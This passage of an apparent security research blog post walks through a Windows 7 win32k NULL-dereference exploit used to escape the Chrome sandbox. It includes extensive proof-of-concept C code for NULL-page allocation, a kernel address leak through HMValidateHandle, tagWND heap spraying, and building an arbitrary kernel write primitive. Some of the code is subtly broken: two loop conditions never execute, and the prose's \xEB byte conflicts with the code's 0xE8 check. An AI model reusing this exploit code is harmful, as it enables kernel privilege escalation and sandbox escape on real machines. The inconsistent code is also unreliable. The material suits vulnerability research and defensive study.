SubMenuProc() will first check if the incoming message is of type WM_MN_FINDMENUWINDOWFROMPOINT. If it is, SubMenuProc() will call SetWindowLongPtr() to set the window procedure for hWndMain back to DefWindowProc() so that hWndMain can handle any additional incoming window messages. This will prevent the application becoming unresponsive. SubMenuProc() will then return hWndFakeMenu, or the handle to the window that was created using the menu class string.
Since hWndFakeMenu is a valid window handle it will pass the HMValidateHandle() check. However, as mentioned previously, many of the window’s elements will be set to 0 or NULL as CreateWindowEx() tried to create a window as a menu without sufficient information. Execution will subsequently proceed from xxxMNFindWindowFromPoint() to xxxMNUpdateDraggingInfo(), which will perform a call to MNGetpItem(), which will in turn call MNGetpItemFromIndex().
MNGetpItemFromIndex() will then try to access offsets within hWndFakeMenu‘s spMenu field. However since hWndFakeMenu‘s spMenu field is set to NULL, this will result in a NULL pointer dereference, and a kernel crash if the NULL page has not been allocated.
tagITEM *__stdcall MNGetpItemFromIndex(tagMENU *spMenu, UINT pPopupMenu)
{
tagITEM *result; // eax
if ( pPopupMenu == -1 || pPopupMenu >= spMenu->cItems ){ // NULL pointer dereference will occur
// here if spMenu is NULL.
result = 0;
else
result = (tagITEM *)spMenu->rgItems + 0x6C * pPopupMenu;
return result;
}
Sandbox Limitations
To better understand how to escape Chrome’s sandbox, it is important to understand how it operates. Most of the important details of the Chrome sandbox are explained on Google’s Sandbox page. Reading this page reveals several important details about the Chrome sandbox which are relevant to this exploit. These are listed below:
All processes in the Chrome sandbox run at Low Integrity.
A restrictive job object is applied to the process token of all the processes running in the Chrome sandbox. This prevents the spawning of child processes, amongst other things.
Processes running in the Chrome sandbox run in an isolated desktop, separate from the main desktop and the service desktop to prevent Shatter attacks that could result in privilege escalation.
On Windows 8 and higher the Chrome sandbox prevents calls to win32k.sys.
The first protection in this list is that processes running inside the sandbox run with Low integrity. Running at Low integrity prevents attackers from being able to exploit a number of kernel leaks mentioned on sam-b’s kernel leak page, as starting with Windows 8.1, most of these leaks require that the process be running with Medium integrity or higher. This limitation is bypassed in the exploit by abusing a well known memory leak in the implementation of HMValidateHandle() on Windows versions prior to Windows 10 RS4, and is discussed in more detail later in the blog.
The next limitation is the restricted job object and token that are placed on the sandboxed process. The restricted token ensures that the sandboxed process runs without any permissions, whilst the job object ensures that the sandboxed process cannot spawn any child processes. The combination of these two mitigations means that to escape the sandbox the attacker will likely have to create their own process token or steal another process token, and then subsequently disassociate the job object from that token. Given the permissions this requires, this most likely will require a kernel level vulnerability. These two mitigations are the most relevant to the exploit; their bypasses are discussed in more detail later on in this blog.
The job object additionally ensures that the sandboxed process uses what Google calls the “alternate desktop” (known in Windows terminology as the “limited desktop”), which is a desktop separate from the main user desktop and the service desktop, to prevent potential privilege escalations via window messages. This is done because Windows prevents window messages from being sent between desktops, which restricts the attacker to only sending window messages to windows that are created within the sandbox itself. Thankfully this particular exploit only requires interaction with windows created within the sandbox, so this mitigation only really has the effect of making it so that the end user can’t see any of the windows and menus the exploit creates.
Finally it’s worth noting that whilst protections were introduced in Windows 8 to allow Chrome to prevent sandboxed applications from making syscalls to win32k.sys, these controls were not backported to Windows 7. As a result Chrome’s sandbox does not have the ability to prevent calls to win32k.sys on Windows 7 and prior, which means that attackers can abuse vulnerabilities within win32k.sys to escape the Chrome sandbox on these versions of Windows.
Sandbox Exploit Explanation
Creating a DLL for the Chrome Sandbox
As is explained in James Forshaw’s In-Console-Able blog post, it is not possible to inject just any DLL into the Chrome sandbox. Due to sandbox limitations, the DLL has to be created in such a way that it does not load any other libraries or manifest files.
To achieve this, the Visual Studio project for the PoC exploit was first adjusted so that the project type would be set to a DLL instead of an EXE. After this, the C++ compiler settings were changed to tell it to use the multi-threaded runtime library (not a multithreaded DLL). Finally the linker settings were changed to instruct Visual Studio not to generate manifest files.
Once this was done, Visual Studio was able to produce DLLs that could be loaded into the Chrome sandbox via a vulnerability such as István Kurucsai’s 1Day Chrome vulnerability, CVE-2019-5786 (which was detailed in a previous blog post), or via DLL injection with a program such as this one.
Explanation of the Existing Limited Write Primitive
Before diving into the details of how the exploit was converted into a sandbox escape, it is important to understand the limited write primitive that this exploit grants an attacker should they successfully set up the NULL page, as this provides the basis for the discussion that occurs throughout the following sections.
Once the vulnerability has been triggered, xxxMNUpdateDraggingInfo() will be called in win32k.sys. If the NULL page has been set up correctly, then xxxMNUpdateDraggingInfo() will call xxxMNSetGapState(), whose code is shown below:
void __stdcall xxxMNSetGapState(ULONG_PTR uHitArea, UINT uIndex, UINT uFlags, BOOL fSet)
{
...
var_PITEM = MNGetpItem(var_POPUPMENU, uIndex); // Get the address where the first write
// operation should occur, minus an
// offset of 0x4.
temp_var_PITEM = var_PITEM;
if ( var_PITEM )
{
...
var_PITEM_Minus_Offset_Of_0x6C = MNGetpItem(var_POPUPMENU_copy, uIndex - 1); // Get the
// address where the second write operation
// should occur, minus an offset of 0x4. This
// address will be 0x6C bytes earlier in
// memory than the address in var_PITEM.
if ( fSet )
{
*((_DWORD *)temp_var_PITEM + 1) |= 0x80000000; // Conduct the first write to the
// attacker controlled address.
if ( var_PITEM_Minus_Offset_Of_0x6C )
{
*((_DWORD *)var_PITEM_Minus_Offset_Of_0x6C + 1) |= 0x40000000u;
// Conduct the second write to the attacker
// controlled address minus 0x68 (0x6C-0x4).
...
xxxMNSetGapState() performs two write operations to an attacker controlled location plus an offset of 4. The only difference between the two write operations is that 0x40000000 is written to an address located 0x6C bytes earlier than the address where the 0x80000000 write is conducted.
It is also important to note is that the writes are conducted using OR operations. This means that the attacker can only add bits to the DWORD they choose to write to; it is not possible to remove or alter bits that are already there. It is also important to note that even if an attacker starts their write at some offset, they will still only be able to write the value \x40 or \x80 to an address at best.
From these observations it becomes apparent that the attacker will require a more powerful write primitive if they wish to escape the Chrome sandbox. To meet this requirement, Exodus Intelligence’s exploit utilizes the limited write primitive to create a more powerful write primitive by abusing tagWND objects. The details of how this is done, along with the steps required to escape the sandbox, are explained in more detail in the following sections.
Allocating the NULL Page
On Windows versions prior to Windows 8, it is possible to allocate memory in the NULL page from userland by calling NtAllocateVirtualMemory(). Within the PoC code, the main() function was adjusted to obtain the address of NtAllocateVirtualMemory() from ntdll.dll and save it into the variable pfnNtAllocateVirtualMemory.
Once this is done, allocateNullPage() is called to allocate the NULL page itself, using address 0x1, with read, write, and execute permissions. The address 0x1 will then then rounded down to 0x0 by NtAllocateVirtualMemory() to fit on a page boundary, thereby allowing the attacker to allocate memory at 0x0.
typedef NTSTATUS(WINAPI *NTAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG ZeroBits,
PULONG AllocationSize,
ULONG AllocationType,
ULONG Protect
);
NTAllocateVirtualMemory pfnNtAllocateVirtualMemory = 0;
....
pfnNtAllocateVirtualMemory = (NTAllocateVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");
....
// Thanks to https://github.com/YeonExp/HEVD/blob/c19ad75ceab65cff07233a72e2e765be866fd636/NullPointerDereference/NullPointerDereference/main.cpp#L56 for
// explaining this in an example along with the finer details that are often forgotten.
bool allocateNullPage() {
/* Set the base address at which the memory will be allocated to 0x1.
This is done since a value of 0x0 will not be accepted by NtAllocateVirtualMemory,
however due to page alignment requirements the 0x1 will be rounded down to 0x0 internally.*/
PVOID BaseAddress = (PVOID)0x1;
/* Set the size to be allocated to 40960 to ensure that there
is plenty of memory allocated and available for use. */
SIZE_T size = 40960;
/* Call NtAllocateVirtualMemory to allocate the virtual memory at address 0x0 with the size
specified in the variable size. Also make sure the memory is allocated with read, write,
and execute permissions.*/
NTSTATUS result = pfnNtAllocateVirtualMemory(GetCurrentProcess(), &BaseAddress, 0x0, &size, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
// If the call to NtAllocateVirtualMemory failed, return FALSE.
if (result != 0x0) {
return FALSE;
}
// If the code reaches this point, then everything went well, so return TRUE.
return TRUE;
}
Finding the Address of HMValidateHandle
Once the NULL page has been allocated the exploit will then obtain the address of the HMValidateHandle() function. HMValidateHandle() is useful for attackers as it allows them to obtain a userland copy of any object provided that they have a handle. Additionally this leak also works at Low Integrity on Windows versions prior to Windows 10 RS4.
By abusing this functionality to copy objects which contain a pointer to their location in kernel memory, such as tagWND (the window object), into user mode memory, an attacker can leak the addresses of various objects simply by obtaining a handle to them.
As the address of HMValidateHandle() is not exported from user32.dll, an attacker cannot directly obtain the address of HMValidateHandle() via user32.dll‘s export table. Instead, the attacker must find another function that user32.dll exports which calls HMValidateHandle(), read the value of the offset within the indirect jump, and then perform some math to calculate the true address of HMValidateHandle().
This is done by obtaining the address of the exported function IsMenu() from user32.dll and then searching for the first instance of the byte \xEB within IsMenu()‘s code, which signals the start of an indirect call to HMValidateHandle(). By then performing some math on the base address of user32.dll, the relative offset in the indirect call, and the offset of IsMenu() from the start of user32.dll, the attacker can obtain the address of HMValidateHandle(). This can be seen in the following code.
HMODULE hUser32 = LoadLibraryW(L"user32.dll");
LoadLibraryW(L"gdi32.dll");
// Find the address of HMValidateHandle using the address of user32.dll
if (findHMValidateHandleAddress(hUser32) == FALSE) {
printf("[!] Couldn't locate the address of HMValidateHandle!\r\n");
ExitProcess(-1);
}
...
BOOL findHMValidateHandleAddress(HMODULE hUser32) {
// The address of the function HMValidateHandleAddress() is not exported to
// the public. However the function IsMenu() contains a call to HMValidateHandle()
// within it after some short setup code. The call starts with the byte \xEB.
// Obtain the address of the function IsMenu() from user32.dll.
BYTE * pIsMenuFunction = (BYTE *)GetProcAddress(hUser32, "IsMenu");
if (pIsMenuFunction == NULL) {
printf("[!] Failed to find the address of IsMenu within user32.dll.\r\n");
return FALSE;
}
else {
printf("[*] pIsMenuFunction: 0x%08X\r\n", pIsMenuFunction);
}
// Search for the location of the \xEB byte within the IsMenu() function
// to find the start of the indirect call to HMValidateHandle().
unsigned int offsetInIsMenuFunction = 0;
BOOL foundHMValidateHandleAddress = FALSE;
for (unsigned int i = 0; i > 0x1000; i++) {
BYTE* pCurrentByte = pIsMenuFunction + i;
if (*pCurrentByte == 0xE8) {
offsetInIsMenuFunction = i + 1;
break;
}
}
// Throw error and exit if the \xE8 byte couldn't be located.
if (offsetInIsMenuFunction == 0) {
printf("[!] Couldn't find offset to HMValidateHandle within IsMenu.\r\n");
return FALSE;
}
// Output address of user32.dll in memory for debugging purposes.
printf("[*] hUser32: 0x%08X\r\n", hUser32);
// Get the value of the relative address being called within the IsMenu() function.
unsigned int relativeAddressBeingCalledInIsMenu = *(unsigned int *)(pIsMenuFunction + offsetInIsMenuFunction);
printf("[*] relativeAddressBeingCalledInIsMenu: 0x%08X\r\n", relativeAddressBeingCalledInIsMenu);
// Find out how far the IsMenu() function is located from the base address of user32.dll.
unsigned int addressOfIsMenuFromStartOfUser32 = ((unsigned int)pIsMenuFunction - (unsigned int)hUser32);
printf("[*] addressOfIsMenuFromStartOfUser32: 0x%08X\r\n", addressOfIsMenuFromStartOfUser32);
// Take this offset and add to it the relative address used in the call to HMValidateHandle().
// Result should be the offset of HMValidateHandle() from the start of user32.dll.
unsigned int offset = addressOfIsMenuFromStartOfUser32 + relativeAddressBeingCalledInIsMenu;
printf("[*] offset: 0x%08X\r\n", offset);
// Skip over 11 bytes since on Windows 10 these are not NOPs and it would be
// ideal if this code could be reused in the future.
pHmValidateHandle = (lHMValidateHandle)((unsigned int)hUser32 + offset + 11);
printf("[*] pHmValidateHandle: 0x%08X\r\n", pHmValidateHandle);
return TRUE;
}
Creating a Arbitrary Kernel Address Write Primitive with Window Objects
Once the address of HMValidateHandle() has been obtained, the exploit will call the sprayWindows() function. The first thing that sprayWindows() does is register a new window class named sprayWindowClass using RegisterClassExW(). The sprayWindowClass will also be set up such that any windows created with this class will use the attacker defined window procedure sprayCallback().
A HWND table named hwndSprayHandleTable will then be created, and a loop will be conducted which will call CreateWindowExW() to create 0x100 tagWND objects of class sprayWindowClass and save their handles into the hwndSprayHandle table. Once this spray is complete, two loops will be used, one nested inside the other, to obtain a userland copy of each of the tagWND objects using HMValidateHandle().
The kernel address for each of these tagWND objects is then obtained by examining the tagWND objects’ pSelf field. The kernel address of each of the tagWND objects are compared with one another until two tagWND objects are found that are less than 0x3FD00 apart in kernel memory, at which point the loops are terminated.
/* The following definitions define the various structures
needed within sprayWindows() */
typedef struct _HEAD
{
HANDLE h;
DWORD cLockObj;
} HEAD, *PHEAD;
typedef struct _THROBJHEAD
{
HEAD h;
PVOID pti;
} THROBJHEAD, *PTHROBJHEAD;
typedef struct _THRDESKHEAD
{
THROBJHEAD h;
PVOID rpdesk;
PVOID pSelf; // points to the kernel mode address of the object
} THRDESKHEAD, *PTHRDESKHEAD;
....
// Spray the windows and find two that are less than 0x3fd00 apart in memory.
if (sprayWindows() == FALSE) {
printf("[!] Couldn't find two tagWND objects less than 0x3fd00 apart in memory after the spray!\r\n");
ExitProcess(-1);
}
....
// Define the HMValidateHandle window type TYPE_WINDOW appropriately.
#define TYPE_WINDOW 1
/* Main function for spraying the tagWND objects into memory and finding two
that are less than 0x3fd00 apart */
bool sprayWindows() {
HWND hwndSprayHandleTable[0x100]; // Create a table to hold 0x100 HWND handles created by the spray.
// Create and set up the window class for the sprayed window objects.
WNDCLASSEXW sprayClass = { 0 };
sprayClass.cbSize = sizeof(WNDCLASSEXW);
sprayClass.lpszClassName = TEXT("sprayWindowClass");
sprayClass.lpfnWndProc = sprayCallback; // Set the window procedure for the sprayed
// window objects to sprayCallback().
if (RegisterClassExW(&sprayClass) == 0) {
printf("[!] Couldn't register the sprayClass class!\r\n");
}
// Create 0x100 windows using the sprayClass window class with the window name "spray".
for (int i = 0; i < 0x100; i++) {
hwndSprayHandleTable[i] = CreateWindowExW(0, sprayClass.lpszClassName, TEXT("spray"), 0, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, NULL, NULL);
}
// For each entry in the hwndSprayHandle table...
for (int x = 0; x < 0x100; x++) {
// Leak the kernel address of the current HWND being examined, save it into firstEntryAddress.
THRDESKHEAD *firstEntryDesktop = (THRDESKHEAD *)pHmValidateHandle(hwndSprayHandleTable[x], TYPE_WINDOW);
unsigned int firstEntryAddress = (unsigned int)firstEntryDesktop->pSelf;
// Then start a loop to start comparing the kernel address of this hWND
// object to the kernel address of every other hWND object...
for (int y = 0; y < 0x100; y++) {
if (x != y) { // Skip over one instance of the loop if the entries being compared are
// at the same offset in the hwndSprayHandleTable
// Leak the kernel address of the second hWND object being used in
// the comparison, save it into secondEntryAddress.
THRDESKHEAD *secondEntryDesktop = (THRDESKHEAD *)pHmValidateHandle(hwndSprayHandleTable[y], TYPE_WINDOW);
unsigned int secondEntryAddress = (unsigned int)secondEntryDesktop->pSelf;
// If the kernel address of the hWND object leaked earlier in the code is greater than
// the kernel address of the hWND object leaked above, execute the following code.
if (firstEntryAddress > secondEntryAddress) {
// Check if the difference between the two addresses is less than 0x3fd00.
if ((firstEntryAddress - secondEntryAddress) < 0x3fd00) {
printf("[*] Primary window address: 0x%08X\r\n", secondEntryAddress);
printf("[*] Secondary window address: 0x%08X\r\n", firstEntryAddress);
// Save the handle of secondEntryAddress into hPrimaryWindow
// and its address into primaryWindowAddress.
hPrimaryWindow = hwndSprayHandleTable[y];
primaryWindowAddress = secondEntryAddress;
// Save the handle of firstEntryAddress into hSecondaryWindow
// and its address into secondaryWindowAddress.
hSecondaryWindow = hwndSprayHandleTable[x];
secondaryWindowAddress = firstEntryAddress;
// Windows have been found, escape the loop.
break;
}
}
// If the kernel address of the hWND object leaked earlier in the code is less than
// the kernel address of the hWND object leaked above, execute the following code.
else {
// Check if the difference between the two addresses is less than 0x3fd00.
if ((secondEntryAddress - firstEntryAddress) < 0x3fd00) {
printf("[*] Primary window address: 0x%08X\r\n", firstEntryAddress);
printf("[*] Secondary window address: 0x%08X\r\n", secondEntryAddress);
// Save the handle of firstEntryAddress into hPrimaryWindow
// and its address into primaryWindowAddress.
hPrimaryWindow = hwndSprayHandleTable[x];
primaryWindowAddress = firstEntryAddress;
// Save the handle of secondEntryAddress into hSecondaryWindow
// and its address into secondaryWindowAddress.
hSecondaryWindow = hwndSprayHandleTable[y];
secondaryWindowAddress = secondEntryAddress;
// Windows have been found, escape the loop.
break;
}
}
}
}
// Check if the inner loop ended and the windows were found. If so print a debug message.
// Otherwise continue on to the next object in the hwndSprayTable array.
if (hPrimaryWindow != NULL) {
printf("[*] Found target windows!\r\n");
break;
}
}
Once two tagWND objects matching these requirements are found, their addresses will be compared to see which one is located earlier in memory. The tagWND object located earlier in memory will become the primary window; its address will be saved into the global variable primaryWindowAddress, whilst its handle will be saved into the global variable hPrimaryWindow. The other tagWND object will become the secondary window; its address is saved into secondaryWindowAddress and its handle is saved into hSecondaryWindow.
Once the addresses of these windows have been saved, the handles to the other windows within hwndSprayHandle are destroyed using DestroyWindow() in order to release resources back to the host operating system.
// Check that hPrimaryWindow isn't NULL after both the loops are
// complete. This will only occur in the event that none of the 0x1000
// window objects were within 0x3fd00 bytes of each other. If this occurs, then bail.
if (hPrimaryWindow == NULL) {
printf("[!] Couldn't find the right windows for the tagWND primitive. Exiting....\r\n");
return FALSE;
}
// This loop will destroy the handles to all other
// windows besides hPrimaryWindow and hSecondaryWindow,
// thereby ensuring that there are no lingering unused
// handles wasting system resources.
for (int p = 0; p > 0x100; p++) {
HWND temp = hwndSprayHandleTable[p];
if ((temp != hPrimaryWindow) && (temp != hSecondaryWindow)) {
DestroyWindow(temp);
}
}
addressToWrite = (UINT)primaryWindowAddress + 0x90; // Set addressToWrite to
// primaryWindow's cbwndExtra field.
printf("[*] Destroyed spare windows!\r\n");
// Check if its possible to set the window text in hSecondaryWindow.
// If this isn't possible, there is a serious error, and the program should exit.
// Otherwise return TRUE as everything has been set up correctly.
if (SetWindowTextW(hSecondaryWindow, L"test String") == 0) {
printf("[!] Something is wrong, couldn't initialize the text buffer in the secondary window....\r\n");
return FALSE;
}
else {
return TRUE;
}
The final part of sprayWindows() sets addressToWrite to the address of the cbwndExtra field within primaryWindowAddress in order to let the exploit know where the limited write primitive should write the value 0x40000000 to.
To understand why tagWND objects where sprayed and why the cbwndExtra and strName.Buffer fields of a tagWND object are important, it is necessary to examine a well known kernel write primitive that exists on Windows versions prior to Windows 10 RS1.
As is explained in Saif Sheri and Ian Kronquist’s The Life & Death of Kernel Object Abuse paper and Morten Schenk’s Taking Windows 10 Kernel Exploitation to The Next Level presentation, if one can place two tagWND objects together in memory one after another and then edit the cbwndExtra field of the tagWND object located earlier in memory via a kernel write vulnerability, they can extend the expected length of the former tagWND’s WndExtra data field such that it thinks it controls memory that is actually controlled by the second tagWND object.
The following diagram shows how the exploit utilizes this concept to set the cbwndExtra field of hPrimaryWindow to 0x40000000 by utilizing the limited write primitive that was explained earlier in this blog post, as well as how this adjustment allows the attacker to set data inside the second tagWND object that is located adjacent to it.
Once the cbwndExtra field of the first tagWND object has been overwritten, if an attacker calls SetWindowLong() on the first tagWND object, an attacker can overwrite the strName.Buffer field in the second tagWND object and set it to an arbitrary address. When SetWindowText() is called using the second tagWND object, the address contained in the overwritten strName.Buffer field will be used as destination address for the write operation.
By forming this stronger write primitive, the attacker can write controllable values to kernel addresses, which is a prerequisite to breaking out of the Chrome sandbox. The following listing from WinDBG shows the fields of the tagWND object which are relevant to this technique.
Leaking the Address of pPopupMenu for Write Address Calculations
Before continuing, lets reexamine how MNGetpItemFromIndex(), which returns the address to be written to, minus an offset of 0x4, operates. Recall that the decompiled version of this function is as follows.
tagITEM *__stdcall MNGetpItemFromIndex(tagMENU *spMenu, UINT pPopupMenu)
{
tagITEM *result; // eax
if ( pPopupMenu == -1 || pPopupMenu >= spMenu->cItems ) // NULL pointer dereference will occur here if spMenu is NULL.
result = 0;
else
result = (tagITEM *)spMenu->rgItems + 0x6C * pPopupMenu;
return result;
}
Notice that on line 8 there are two components which make up the final address which is returned. These are pPopupMenu, which is multiplied by 0x6C, and spMenu->rgItems, which will point to offset 0x34 in the NULL page. Without the ability to determine the values of both of these items, the attacker will not be able to fully control what address is returned by MNGetpItemFromIndex(), and henceforth which address xxxMNSetGapState() writes to in memory.
There is a solution for this however, which can be observed by viewing the updates made to the code for SubMenuProc(). The updated code takes the wParam parameter and adds 0x10 to it to obtain the value of pPopupMenu. This is then used to set the value of the variable addressToWriteTo which is used to set the value of spMenu->rgItems within MNGetpItemFromIndex() so that it returns the correct address for xxxMNSetGapState() to write to.
LRESULT WINAPI SubMenuProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
if (msg == WM_MN_FINDMENUWINDOWFROMPOINT){
printf("[*] In WM_MN_FINDMENUWINDOWFROMPOINT handler...\r\n");
printf("[*] Restoring window procedure...\r\n");
SetWindowLongPtr(hwnd, GWLP_WNDPROC, (ULONG)DefWindowProc);
/* The wParam parameter here has the same value as pPopupMenu inside MNGetpItemFromIndex,
except wParam has been subtracted by minus 0x10. Code adjusts this below to accommodate.
This is an important information leak as without this the attacker
cannot manipulate the values returned from MNGetpItemFromIndex, which
can result in kernel crashes and a dramatic decrease in exploit reliability.
*/
UINT pPopupAddressInCalculations = wParam + 0x10;
// Set the address to write to to be the right bit of cbwndExtra in the target tagWND.
UINT addressToWriteTo = ((addressToWrite + 0x6C) - ((pPopupAddressInCalculations * 0x6C) + 0x4));
To understand why this code works, it is necessary to reexamine the code for xxxMNFindWindowFromPoint(). Note that the address of pPopupMenu is sent by xxxMNFindWindowFromPoint() in the wParam parameter when it calls xxxSendMessage() to send a MN_FINDMENUWINDOWFROMPOINT message to the application’s main window. This allows the attacker to obtain the address of pPopupMenu by implementing a handler for MN_FINDMENUWINDOWFROMPOINT which saves the wParam parameter’s value into a local variable for later use.
LONG_PTR __stdcall xxxMNFindWindowFromPoint(tagPOPUPMENU *pPopupMenu, UINT *pIndex, POINTS screenPt)
{
....
v6 = xxxSendMessage(
var_pPopupMenu->spwndNextPopup,
MN_FINDMENUWINDOWFROMPOINT,
(WPARAM)&pPopupMenu,
(unsigned __int16)screenPt.x | (*(unsigned int *)&screenPt >> 16 << 16)); // Make the
// MN_FINDMENUWINDOWFROMPOINT usermode callback
// using the address of pPopupMenu as the
// wParam argument.
ThreadUnlock1();
if ( IsMFMWFPWindow(v6) ) // Validate the handle returned from the user
// mode callback is a handle to a MFMWFP window.
v6 = (LONG_PTR)HMValidateHandleNoSecure((HANDLE)v6, TYPE_WINDOW); // Validate that the returned
// handle is a handle to
// a window object. Set v1 to
// TRUE if all is good.
...
During experiments, it was found that the value sent via xxxSendMessage() is 0x10 less than the value used in MNGetpItemFromIndex(). For this reason, the exploit code adds 0x10 to the value returned from xxxSendMessage() to ensure it the value of pPopupMenu in the exploit code matches the value used inside MNGetpItemFromIndex().
Setting up the Memory in the NULL Page
Once addressToWriteTo has been calculated, the NULL page is set up. In order to set up the NULL page appropriately the following offsets need to be filled out:
0x20
0x34
0x4C
0x50 to 0x1050
This can be seen in more detail in the following diagram.
The exploit code starts by setting offset 0x20 in the NULL page to 0xFFFFFFFF. This is done as spMenu will be NULL at this point, so spMenu->cItems will contain the value at offset 0x20 of the NULL page. Setting the value at this address to a large unsigned integer will ensure that spMenu->cItems is greater than the value of pPopupMenu, which will prevent MNGetpItemFromIndex() from returning 0 instead of result. This can be seen on line 5 of the following code.
tagITEM *__stdcall MNGetpItemFromIndex(tagMENU *spMenu, UINT pPopupMenu)
{
tagITEM *result; // eax
if ( pPopupMenu == -1 || pPopupMenu >= spMenu->cItems ) // NULL pointer dereference will occur
// here if spMenu is NULL.
result = 0;
else
result = (tagITEM *)spMenu->rgItems + 0x6C * pPopupMenu;
return result;
}
Offset 0x34 of the NULL page will contain a DWORD which holds the value of spMenu->rgItems. This will be set to the value of addressToWriteTo so that the calculation shown on line 8 will set result to the address of primaryWindow‘s cbwndExtra field, minus an offset of 0x4.
The other offsets require a more detailed explanation. The following code shows the code within the function xxxMNUpdateDraggingInfo() which utilizes these offsets.
.text:BF975EA3 mov eax, [ebx+14h] ; EAX = ppopupmenu->spmenu
.text:BF975EA3 ;
.text:BF975EA3 ; Should set EAX to 0 or NULL.
.text:BF975EA6 push dword ptr [eax+4Ch] ; uIndex aka pPopupMenu. This will be the
.text:BF975EA6 ; value at address 0x4C given that
.text:BF975EA6 ; ppopupmenu->spmenu is NULL.
.text:BF975EA9 push eax ; spMenu. Will be NULL or 0.
.text:BF975EAA call MNGetpItemFromIndex
..............
.text:BF975EBA add ecx, [eax+28h] ; ECX += pItemFromIndex->yItem
.text:BF975EBA ;
.text:BF975EBA ; pItemFromIndex->yItem will be the value
.text:BF975EBA ; at offset 0x28 of whatever value
.text:BF975EBA ; MNGetpItemFromIndex returns.
...............
.text:BF975ECE cmp ecx, ebx
.text:BF975ED0 jg short loc_BF975EDB ; Jump to loc_BF975EDB if the following
.text:BF975ED0 ; condition is true:
.text:BF975ED0 ;
.text:BF975ED0 ; ((pMenuState->ptMouseLast.y - pMenuState->uDraggingHitArea->rcClient.top) + pItemFromIndex->yItem) > (pItem->yItem + SYSMET(CYDRAG))
As can be seen above, a call will be made to MNGetpItemFromIndex() using two parameters: spMenu which will be set to a value of NULL, and uIndex, which will contain the DWORD at offset 0x4C of the NULL page. The value returned by MNGetpItemFromIndex() will then be incremented by 0x28 before being used as a pointer to a DWORD. The DWORD at the resulting address will then be used to set pItemFromIndex->yItem, which will be utilized in a calculation to determine whether a jump should be taken. The exploit needs to ensure that this jump is always taken as it ensures that xxxMNSetGapState() goes about writing to addressToWrite in a consistent manner.
To ensure this jump is taken, the exploit sets the value at offset 0x4C in such a way that MNGetpItemFromIndex() will always return a value within the range 0x120 to 0x180. By then setting the bytes at offset 0x50 to 0x1050 within the NULL page to 0xF0 the attacker can ensure that regardless of the value that MNGetpItemFromIndex() returns, when it is incremented by 0x28 and used as a pointer to a DWORD it will result in pItemFromIndex->yItem being set to 0xF0F0F0F0. This will cause the first half of the following calculation to always be a very large unsigned integer, and henceforth the jump will always be taken.
Forming a Stronger Write Primitive by Using the Limited Write Primitive
Once the NULL page has been set up, SubMenuProc() will return hWndFakeMenu to xxxSendMessage() in xxxMNFindWindowFromPoint(), where execution will continue.
After the xxxSendMessage() call, xxxMNFindWindowFromPoint() will call HMValidateHandleNoSecure() to ensure that hWndFakeMenu is a handle to a window object. This code can be seen below.
v6 = xxxSendMessage(
var_pPopupMenu->spwndNextPopup,
MN_FINDMENUWINDOWFROMPOINT,
(WPARAM)&pPopupMenu,
(unsigned __int16)screenPt.x | (*(unsigned int *)&screenPt >> 16 << 16)); // Make the
// MN_FINDMENUWINDOWFROMPOINT usermode callback
// using the address of pPopupMenu as the
// wParam argument.
ThreadUnlock1();
if ( IsMFMWFPWindow(v6) ) // Validate the handle returned from the user
// mode callback is a handle to a MFMWFP window.
v6 = (LONG_PTR)HMValidateHandleNoSecure((HANDLE)v6, TYPE_WINDOW); // Validate that the returned handle
// is a handle to a window object.
// Set v1 to TRUE if all is good.
If hWndFakeMenu is deemed to be a valid handle to a window object, then xxxMNSetGapState() will be executed, which will set the cbwndExtra field in primaryWindow to 0x40000000, as shown below. This will allow SetWindowLong() calls that operate on primaryWindow to set values beyond the normal boundaries of primaryWindow‘s WndExtra data field, thereby allowing primaryWindow to make controlled writes to data within secondaryWindow.
void __stdcall xxxMNSetGapState(ULONG_PTR uHitArea, UINT uIndex, UINT uFlags, BOOL fSet)
{
...
var_PITEM = MNGetpItem(var_POPUPMENU, uIndex); // Get the address where the first write
// operation should occur, minus an
// offset of 0x4.
temp_var_PITEM = var_PITEM;
if ( var_PITEM )
{
...
var_PITEM_Minus_Offset_Of_0x6C = MNGetpItem(var_POPUPMENU_copy, uIndex - 1); // Get the
// address where the second write operation
// should occur, minus an offset of 0x4. This
// address will be 0x6C bytes earlier in
// memory than the address in var_PITEM.
if ( fSet )
{
*((_DWORD *)temp_var_PITEM + 1) |= 0x80000000; // Conduct the first write to the
// attacker controlled address.
if ( var_PITEM_Minus_Offset_Of_0x6C )
{
*((_DWORD *)var_PITEM_Minus_Offset_Of_0x6C + 1) |= 0x40000000u;
// Conduct the second write to the attacker
// controlled address minus 0x68 (0x6C-0x4).
Once the kernel write operation within xxxMNSetGapState() is finished, the undocumented window message 0x1E5 will be sent. The updated exploit catches this message in the following code.
else {
if ((cwp->message == 0x1E5)) {
UINT offset = 0; // Create the offset variable which will hold the offset from the
// start of hPrimaryWindow's cbwnd data field to write to.
UINT addressOfStartofPrimaryWndCbWndData = (primaryWindowAddress + 0xB0); // Set
// addressOfStartofPrimaryWndCbWndData to the address of
// the start of hPrimaryWindow's cbwnd data field.
// Set offset to the difference between hSecondaryWindow's
// strName.Buffer's memory address and the address of
// hPrimaryWindow's cbwnd data field.
offset = ((secondaryWindowAddress + 0x8C) - addressOfStartofPrimaryWndCbWndData);
printf("[*] Offset: 0x%08X\r\n", offset);
// Set the strName.Buffer address in hSecondaryWindow to (secondaryWindowAddress + 0x16),
// or the address of the bServerSideWindowProc bit.
if (SetWindowLongA(hPrimaryWindow, offset, (secondaryWindowAddress + 0x16)) == 0) {
printf("[!] SetWindowLongA malicious error: 0x%08X\r\n", GetLastError());
ExitProcess(-1);
}
else {
printf("[*] SetWindowLongA called to set strName.Buffer address. Current strName.Buffer address that is being adjusted: 0x%08X\r\n", (addressOfStartofPrimaryWndCbWndData + offset));
}
This code will start by checking if the window message was 0x1E5. If it was then the code will calculate the distance between the start of primaryWindow‘s wndExtra data section and the location of secondaryWindow‘s strName.Buffer pointer. The difference between these two locations will be saved into the variable offset.
Once this is done, SetWindowLongA() is called using hPrimaryWindow and the offset variable to set secondaryWindow‘s strName.Buffer pointer to the address of secondaryWindow‘s bServerSideWindowProc field. The effect of this operation can be seen in the diagram below.
